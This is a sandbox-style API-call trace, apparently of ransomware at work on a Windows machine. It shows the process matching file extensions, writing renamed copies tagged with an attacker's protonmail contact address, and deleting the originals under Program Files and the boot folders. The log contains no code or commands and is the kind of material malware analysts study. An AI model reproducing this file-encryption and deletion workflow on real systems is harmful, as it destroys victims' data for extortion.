	[0168.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.077] lstrlenW (lpString=".ppt") returned 4
	[0168.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.077] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.077] lstrlenW (lpString=".zip") returned 4
	[0168.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.077] lstrlenW (lpString=".rar") returned 4
	[0168.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.077] lstrlenW (lpString=".bz2") returned 4
	[0168.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.077] lstrlenW (lpString=".7z") returned 3
	[0168.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.077] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.077] lstrlenW (lpString=".dbf") returned 4
	[0168.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.077] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.077] lstrlenW (lpString=".1cd") returned 4
	[0168.078] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString=".jpg") returned 4
	[0168.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString=".doc") returned 4
	[0168.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.078] lstrlenW (lpString=".docx") returned 5
	[0168.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.078] lstrlenW (lpString=".pdf") returned 4
	[0168.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.078] lstrlenW (lpString=".xls") returned 4
	[0168.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.078] lstrlenW (lpString=".xlsx") returned 5
	[0168.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.078] lstrlenW (lpString=".ppt") returned 4
	[0168.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString=".zip") returned 4
	[0168.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.078] lstrlenW (lpString=".rar") returned 4
	[0168.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.078] lstrlenW (lpString=".bz2") returned 4
	[0168.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.078] lstrlenW (lpString=".7z") returned 3
	[0168.078] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString=".dbf") returned 4
	[0168.078] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0168.078] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.078] lstrlenW (lpString=".1cd") returned 4
	[0168.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0168.079] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29
	[0168.079] lstrlenW (lpString=".jpg") returned 4
	[0168.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0168.079] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.079] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0168.079] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.079] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=66912) returned 1
	[0168.079] CloseHandle (hObject=0x434) returned 1
	[0168.079] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20
	[0168.079] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.079] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.079] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0168.080] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0168.080] lstrlenW (lpString=".doc") returned 4
	[0168.080] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.080] lstrlenW (lpString=".docx") returned 5
	[0168.080] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.080] lstrlenW (lpString=".pdf") returned 4
	[0168.080] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.080] lstrlenW (lpString=".xls") returned 4
	[0168.080] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.080] lstrlenW (lpString=".xlsx") returned 5
	[0168.080] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.080] lstrlenW (lpString=".ppt") returned 4
	[0168.080] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.080] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0168.080] lstrlenW (lpString=".zip") returned 4
	[0168.080] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.080] lstrlenW (lpString=".rar") returned 4
	[0168.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.080] lstrlenW (lpString=".bz2") returned 4
	[0168.080] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.080] lstrlenW (lpString=".7z") returned 3
	[0168.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0168.080] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0168.092] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0168.474] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.212] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.212] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0169.215] GetLastError () returned 0x0
	[0169.215] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x95, lpOverlapped=0x0) returned 1
	[0169.231] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0169.232] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.232] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x104, lpOverlapped=0x0) returned 1
	[0169.232] SetEndOfFile (hFile=0x514) returned 1
	[0169.232] CloseHandle (hObject=0x514) returned 1
	[0169.232] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.232] SetEndOfFile (hFile=0x510) returned 1
	[0169.235] CloseHandle (hObject=0x510) returned 1
	[0169.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.236] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1
	[0169.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.237] lstrlenW (lpString=".doc") returned 4
	[0169.237] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".docx") returned 5
	[0169.237] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.237] lstrlenW (lpString=".pdf") returned 4
	[0169.237] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".xls") returned 4
	[0169.237] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".xlsx") returned 5
	[0169.237] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.237] lstrlenW (lpString=".ppt") returned 4
	[0169.237] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.237] lstrlenW (lpString=".zip") returned 4
	[0169.237] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".rar") returned 4
	[0169.237] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".bz2") returned 4
	[0169.237] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString=".7z") returned 3
	[0169.237] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.237] lstrlenW (lpString=".dbf") returned 4
	[0169.237] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.237] lstrlenW (lpString=".1cd") returned 4
	[0169.238] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.238] lstrlenW (lpString=".jpg") returned 4
	[0169.238] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.238] lstrlenW (lpString=".doc") returned 4
	[0169.238] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".docx") returned 5
	[0169.238] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0169.238] lstrlenW (lpString=".pdf") returned 4
	[0169.238] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".xls") returned 4
	[0169.238] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".xlsx") returned 5
	[0169.238] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0169.238] lstrlenW (lpString=".ppt") returned 4
	[0169.238] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.238] lstrlenW (lpString=".zip") returned 4
	[0169.238] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".rar") returned 4
	[0169.238] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".bz2") returned 4
	[0169.238] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0169.238] lstrlenW (lpString=".7z") returned 3
	[0169.238] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0169.238] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.238] lstrlenW (lpString=".dbf") returned 4
	[0169.238] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0169.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.239] lstrlenW (lpString=".1cd") returned 4
	[0169.239] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0169.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0169.239] lstrlenW (lpString=".jpg") returned 4
	[0169.239] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0169.239] lstrcmpiW (lpString1=".cfg", lpString2=".html") returned -1
	[0169.239] lstrlenW (lpString="jvm.cfg") returned 7
	[0169.239] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.239] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=634) returned 1
	[0169.240] CloseHandle (hObject=0x510) returned 1
	[0169.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20
	[0169.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.240] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.240] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0169.242] GetLastError () returned 0x0
	[0169.242] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x27a, lpOverlapped=0x0) returned 1
	[0169.243] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x280, lpOverlapped=0x0) returned 1
	[0169.465] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.465] WriteFile (in: hFile=0x514, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0169.466] SetEndOfFile (hFile=0x514) returned 1
	[0169.744] CloseHandle (hObject=0x514) returned 1
	[0169.744] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.744] SetEndOfFile (hFile=0x510) returned 1
	[0169.845] CloseHandle (hObject=0x510) returned 1
	[0169.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.846] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1
	[0169.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.847] lstrlenW (lpString=".doc") returned 4
	[0169.847] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0169.847] lstrlenW (lpString=".docx") returned 5
	[0169.847] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0169.847] lstrlenW (lpString=".pdf") returned 4
	[0169.847] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0169.847] lstrlenW (lpString=".xls") returned 4
	[0169.847] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0169.847] lstrlenW (lpString=".xlsx") returned 5
	[0169.847] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0169.847] lstrlenW (lpString=".ppt") returned 4
	[0169.847] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0169.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.847] lstrlenW (lpString=".zip") returned 4
	[0169.848] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString=".rar") returned 4
	[0169.848] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString=".bz2") returned 4
	[0169.848] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0169.848] lstrlenW (lpString=".7z") returned 3
	[0169.848] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.848] lstrlenW (lpString=".dbf") returned 4
	[0169.848] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.848] lstrlenW (lpString=".1cd") returned 4
	[0169.848] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.848] lstrlenW (lpString=".jpg") returned 4
	[0169.848] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.848] lstrlenW (lpString=".doc") returned 4
	[0169.848] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString=".docx") returned 5
	[0169.848] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0169.848] lstrlenW (lpString=".pdf") returned 4
	[0169.848] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString=".xls") returned 4
	[0169.848] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0169.848] lstrlenW (lpString=".xlsx") returned 5
	[0169.848] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0169.848] lstrlenW (lpString=".ppt") returned 4
	[0169.848] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.849] lstrlenW (lpString=".zip") returned 4
	[0169.849] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0169.849] lstrlenW (lpString=".rar") returned 4
	[0169.849] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0169.849] lstrlenW (lpString=".bz2") returned 4
	[0169.849] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0169.849] lstrlenW (lpString=".7z") returned 3
	[0169.849] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.849] lstrlenW (lpString=".dbf") returned 4
	[0169.849] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.849] lstrlenW (lpString=".1cd") returned 4
	[0169.849] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0169.849] lstrlenW (lpString=".jpg") returned 4
	[0169.849] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0169.849] lstrcmpiW (lpString1=".pf", lpString2=".html") returned 1
	[0169.849] lstrlenW (lpString="sRGB.pf") returned 7
	[0169.849] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.850] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3144) returned 1
	[0169.850] CloseHandle (hObject=0x510) returned 1
	[0169.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20
	[0169.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.850] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0169.851] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.851] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0169.851] GetLastError () returned 0x0
	[0169.851] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xc48, lpOverlapped=0x0) returned 1
	[0169.853] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0169.854] ReadFile (in: hFile=0x510, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.854] WriteFile (in: hFile=0x524, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0169.854] SetEndOfFile (hFile=0x524) returned 1
	[0169.854] CloseHandle (hObject=0x524) returned 1
	[0169.855] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.855] SetEndOfFile (hFile=0x510) returned 1
	[0169.857] CloseHandle (hObject=0x510) returned 1
	[0169.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.858] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1
	[0169.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.858] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0169.858] lstrlenW (lpString=".doc") returned 4
